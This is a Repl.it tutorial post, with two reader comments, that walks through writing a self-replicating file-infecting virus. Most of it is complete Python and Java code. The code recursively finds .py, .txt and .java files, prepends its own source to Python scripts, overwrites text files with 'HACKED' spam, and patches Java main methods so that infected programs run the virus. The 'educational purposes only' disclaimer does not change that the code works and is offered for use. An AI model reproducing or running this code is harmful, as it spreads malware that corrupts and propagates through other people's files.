Learn to Code via Tutorials on Repl.it!

← Back to all posts
How to write a computer virus
DaRubyMiner360 (9)

Hello! I am going to explain how to write a computer virus.

NOTE: It is not against the law or a crime to make a computer virus. However, if that virus spreads to other computers intentionally or by mistake, you've violated the law, and you could be held liable for any damages it causes.

Also please note that this is meant to be used for educational purposes only.

So let's get started!

First off, a virus is a small piece of software that attaches itself to real programs.

To begin, to show how it can move up and down directories, create a .replit file and in it write

run = "python directory/virus.py"

Then in the console run import os. Then run os.remove("main.py")

Create a folder named whatver you put before /virus.py, in my case, directory. In the folder create a file called virus.py

Now that it is set up, let us start actually writing the virus!

In virus.py write

import os, datetime, inspect
SIGNATURE = "ViralVirus"

Here you can see the imports and the virus signature. The signature allows us to tell if a file is infected yet or not.

Here is the next peice of code, searching for files to infect:

# Search for target files in path
def search(path):
	filestoinfect = []
	filelist = os.listdir(path)
	for filename in filelist:
		# If it is a folder
		if os.path.isdir(path+"/"+filename):
			filestoinfect.extend(search(path+"/"+filename))
			
		# If it is a python script (.py) -> Infect it
		elif filename[-3:]== ".py":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)
	return filestoinfect

Now that we have searched, let's start infecting!

# Changes to be made in the target file
def infect(filestoinfect):
	targetFile = inspect.currentframe().f_code.co_filename
	virus = open(os.path.abspath(targetFile))

	infectPython(virus, filestoinfect)

	virus.close()

def infectPython(virus, filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".py"):
			for i,line in enumerate(virus):
				if i >= 0 and i < 110:
					virusstring += line
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

Now let's actually run the virus!

filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)

The final output should be:

import os, datetime, inspect
SIGNATURE = "ViralVirus"

# Search for target files in path
def search(path):
	filestoinfect = []
	filelist = os.listdir(path)
	for filename in filelist:
		# If it is a folder
		if os.path.isdir(path+"/"+filename):
			filestoinfect.extend(search(path+"/"+filename))
			
		# If it is a python script (.py) -> Infect it
		elif filename[-3:]== ".py":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)
	return filestoinfect

# Changes to be made in the target file
def infect(filestoinfect):
	targetFile = inspect.currentframe().f_code.co_filename
	virus = open(os.path.abspath(targetFile))

	infectPython(virus, filestoinfect)

	virus.close()

def infectPython(virus, filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".py"):
			for i,line in enumerate(virus):
				if i >= 0 and i < 110:
					virusstring += line
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)

And there is a functional virus! But what if we want to be able to infect files that are not python scripts? Don't worry! It is really very simple.

In search, below filestoinfect.append(path+"/"+filename) write

		# If it is a text file (.txt) -> Infect it
		elif filename[-4:]== ".txt":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)

Then in infect, above infectPython(virus, filestoinfect), write

infectTxt(filestoinfect)

Then, above the infectPython method, write

def infectTxt(filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".txt"):
			virusstring += f"{SIGNATURE} HACKED YOU! YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			for p in range(45):
				virusstring += "YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

The final result should be

import os, datetime, inspect
SIGNATURE = "ViralVirus"

# Search for target files in path
def search(path):
	filestoinfect = []
	filelist = os.listdir(path)
	for filename in filelist:
		# If it is a folder
		if os.path.isdir(path+"/"+filename):
			filestoinfect.extend(search(path+"/"+filename))
			
		# If it is a python script (.py) -> Infect it
		elif filename[-3:]== ".py":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)

    # If it is a text file (.txt) -> Infect it
		elif filename[-4:]== ".txt":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)
	return filestoinfect

# Changes to be made in the target file
def infect(filestoinfect):
  targetFile = inspect.currentframe().f_code.co_filename
  virus = open(os.path.abspath(targetFile))
  
  infectTxt(filestoinfect)
  infectPython(virus, filestoinfect)
  
  virus.close()

def infectTxt(filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".txt"):
			virusstring += f"{SIGNATURE} HACKED YOU! YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			for p in range(45):
				virusstring += "YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

def infectPython(virus, filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".py"):
			for i,line in enumerate(virus):
				if i >= 0 and i < 110:
					virusstring += line
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)

Now we can infect .txt files! But what if we want even more? This is how to infect java files, and make them infect other files too.

First, in the same directory as virus.py, create a file called virus.java.
In the new file write

import java.util.*;
import java.io.*;

class Virus
{
	public static void main(String[] args) throws IOException
	{
		new Virus().mainLoop();
	}

	public void mainLoop() throws IOException
	{
		List<String> filestoinfect = search(System.getProperty("user.dir"));
		infect(filestoinfect);
	}

	String SIGNATURE = "ViralVirus";

	// Search for target files in path
	public List<String> search(String path) throws IOException
	{
		// System.out.println(path);
		List<String> filestoinfect = new ArrayList<String>();
		File curDir = new File(path);
		File[] files = curDir.listFiles();
		String[] filelist = new String[files.length];
		for (int i = 0; i < files.length; i++) {
   		filelist[i] = files[i].getName();
		}
		for (int i = 0; i < filelist.length; i++)
		{
			String filename = filelist[i];
			// If it is a folder
			File file = new File(path+"/"+filename);
			// System.out.println(file.getName());
			// if (file.getName().contains(".upm") || file.getName().contains("__pycache__"))
			// {
				// System.out.println("A")
				// System.out.println(file);
			// }
			if (file.isDirectory())
			{
				filestoinfect.addAll(search(path+"/"+filename));
			}
				
			// If it is a python script (.py) -> Infect it
			else if (filename.length() > 3 && filename.endsWith(".py"))
			{
				// Default value
				boolean infected = false;
				BufferedReader b = new BufferedReader(new FileReader(file));
				String line = "";
				while ((line = b.readLine()) != null)
				{
					if (line.contains(SIGNATURE))
					{
						infected = true;
						break;
					}
				}
				if (infected == false)
				{
					filestoinfect.add(path+"/"+filename);
				}
			}

			// If it is a text file (.txt) -> Infect it
			else if (filename.length() > 4 && filename.endsWith(".txt"))
			{
				// Default value
				boolean infected = false;
				BufferedReader b = new BufferedReader(new FileReader(file));
				String line = "";
				while ((line = b.readLine()) != null)
				{
					if (line.contains(SIGNATURE))
					{
						infected = true;
						break;
					}
				}
				if (infected == false)
				{
					filestoinfect.add(path+"/"+filename);
				}
			}

			// If it is a java file (.java) -> Infect it
			else if (filename.length() > 5 && filename.endsWith(".java"))
			{
				// Default value
				boolean infected = false;
				BufferedReader b = new BufferedReader(new FileReader(file));
				String line = "";
				while ((line = b.readLine()) != null)
				{
					if (line.contains(SIGNATURE))
					{
						infected = true;
						break;
					}
				}
				if (infected == false)
				{
					filestoinfect.add(path+"/"+filename);
				}
			}
		}
		return filestoinfect;
	}

	// Changes to be made in the target file
	public void infect(List<String> filestoinfect) throws IOException
	{
		File virus = new File("virus.py");
		File javavirus = new File("virus.java");

		infectTxt(filestoinfect);
		infectPython(virus, filestoinfect);
		infectJava(javavirus, filestoinfect);
	}


	public void infectTxt(List<String> filestoinfect) throws IOException
	{
		String virusstring = "";

		for (int i = 0; i < filestoinfect.size(); i++)
		{
			String fname = filestoinfect.get(i);
			if (filestoinfect.get(i).endsWith(".txt"))
			{
				virusstring += "ViralVirus HACKED YOU! YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n";
				for (int p = 0; p < 45; p++)
				{
					virusstring += "YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n";	
				}
				File f = new File(fname);
				String temp = "";
				Scanner reader = new Scanner(f);
				while (reader.hasNextLine()) {
					temp += reader.nextLine() + "\n";
				}
				reader.close();
				FileWriter writer = new FileWriter(fname);
				writer.write(virusstring + temp);
				writer.close();
			}
		}
	}

	public void infectPython(File virus, List<String> filestoinfect) throws IOException
	{
		String virusstring = "";

		for (int i = 0; i < filestoinfect.size(); i++)
		{
			String fname = filestoinfect.get(i);
			if (filestoinfect.get(i).endsWith(".py"))
			{
				String temp2 = "";
				Scanner reader2 = new Scanner(virus);
				while (reader2.hasNextLine()) {
					temp2 += reader2.nextLine() + "\n";
				}
				reader2.close();
				List<String> virus2 = Arrays.asList(temp2);
				ListIterator<String> it = virus2.listIterator();
				while (it.hasNext())
				{
					if (it.nextIndex() >= 0 && it.nextIndex() < 110)
					{
						virusstring += it.next();
					}
				}
				File f = new File(fname);
				String temp = "";
				Scanner reader = new Scanner(f);
				while (reader.hasNextLine()) {
					temp += reader.nextLine() + "\n";
				}
				reader.close();
				FileWriter writer = new FileWriter(fname);
				writer.write(virusstring + temp);
				writer.close();	
			}
		}
	}

	public void infectJava(File virus, List<String> filestoinfect) throws IOException
	{
		String virusstring = "";

		for (int i = 0; i < filestoinfect.size(); i++)
		{
			String fname = filestoinfect.get(i);
			if (fname.endsWith(".java"))
			{
				String temp2 = "";
				Scanner reader2 = new Scanner(virus);
				while (reader2.hasNextLine()) {
					temp2 += reader2.nextLine() + "\n";
				}
				reader2.close();
				List<String> virus2 = Arrays.asList(temp2);
				ListIterator<String> it = virus2.listIterator();
				while (it.hasNext())
				{
					if (it.nextIndex() >= 0 && it.nextIndex() < 263)
					{
						String next = it.next();
						
						virusstring += next;
					}
				}
				File f = new File(fname);
				String temp = "";
				Scanner reader = new Scanner(f);
				int index = 1;
				while (reader.hasNextLine()) {
					String next = reader.nextLine();
					if (index == 1 && next.contains("static void main(String[] args)"))
						{
							if (next.contains(" throws "))
							{
								if (!next.contains("IOException"))
								{
									next = next + ", IOException";
								}
							}
							else
							{
								next = next.replace("static void main(String[] args)", "static void main(String[] args) throws IOException");
							}
							index = 2;
						}
						if (index == 2 && next.contains("{"))
						{
							index = 3;

							next = next.replace("{", "{Virus.main(args);");
						}

					temp += next + "\n";
				}
				String[] lines = virusstring.split(System.getProperty("line.separator"));
				for (String tmpLine : lines) {
					if (tmpLine.startsWith("import ") && tmpLine.endsWith(";"))
					{
						virusstring = virusstring.replace(tmpLine + "\n", "");
						temp = tmpLine + "\n" + temp;
					}
				}
				reader.close();
				FileWriter writer = new FileWriter(fname);
				writer.write(temp + virusstring);
				writer.close();
			}
		}
	}
} 

And again, replace the signature with your's.

Now back in virus.py, in search, below the .txt file check, add

		# If it is a java file (.java) -> Infect it
		elif filename[-5:]== ".java":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)

In infect, under virus = open(os.path.abspath(targetFile)), write

javavirus = open(os.path.abspath(targetFile).replace(".py", ".java"))

Below infectPython(virus, filestoinfect), write

infectJava(javavirus, filestoinfect)

And below virus.close(), write

javavirus.close()

Below infectPython, write

def infectJava(virus, filestoinfect):
	os.system("java " + virus.name)

The final result in virus.py should be

import os, datetime, inspect
SIGNATURE = "ViralVirus"

# Search for target files in path
def search(path):
	filestoinfect = []
	filelist = os.listdir(path)
	for filename in filelist:
		# If it is a folder
		if os.path.isdir(path+"/"+filename):
			filestoinfect.extend(search(path+"/"+filename))
			
		# If it is a python script (.py) -> Infect it
		elif filename[-3:]== ".py":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)

		# If it is a text file (.txt) -> Infect it
		elif filename[-4:]== ".txt":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)

		# If it is a java file (.java) -> Infect it
		elif filename[-5:]== ".java":
			# Default value
			infected = False
			for line in open(path+"/"+filename):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+filename)
	return filestoinfect

# Changes to be made in the target file
def infect(filestoinfect):
	targetFile = inspect.currentframe().f_code.co_filename
	virus = open(os.path.abspath(targetFile))
	javavirus = open(os.path.abspath(targetFile).replace(".py", ".java"))

	infectTxt(filestoinfect)
	infectPython(virus, filestoinfect)
	infectJava(javavirus, filestoinfect)

	virus.close()
	javavirus.close()


def infectTxt(filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".txt"):
			virusstring += f"{SIGNATURE} HACKED YOU! YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			for p in range(45):
				virusstring += "YOU ARE HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED! HACKED!\n"
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

def infectPython(virus, filestoinfect):
	virusstring = ""

	for i in range(len(filestoinfect)):
		fname = filestoinfect[i]
		if filestoinfect[i].endswith(".py"):
			for i,line in enumerate(virus):
				if i >= 0 and i < 110:
					virusstring += line
			f = open(fname)
			temp = f.read()
			f.close()
			f = open(fname,"w")
			f.write(virusstring + temp)
			f.close()

def infectJava(virus, filestoinfect):
	os.system("java " + virus.name)

filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)

To test the virus, create files outside the folder, inside the folder, inside folders inside the folder, etc.

And that is how to write a simple virus! I hope you enjoyed and will have a wonderful rest of your day!

Comments
hotnewtop
Baconman321 (1097)

Wow, this is actually cool!

I just skimmed it since I don't know Python much, but I get the overall idea. I bet an actual virus would be able to infect files of many more types.

Aight, time to self-infect myself with this heck yeh!

AliyahMillan (1)

This is pretty awesome. I'm learning to become an ethical hacker, so this was a good read. A+ mate.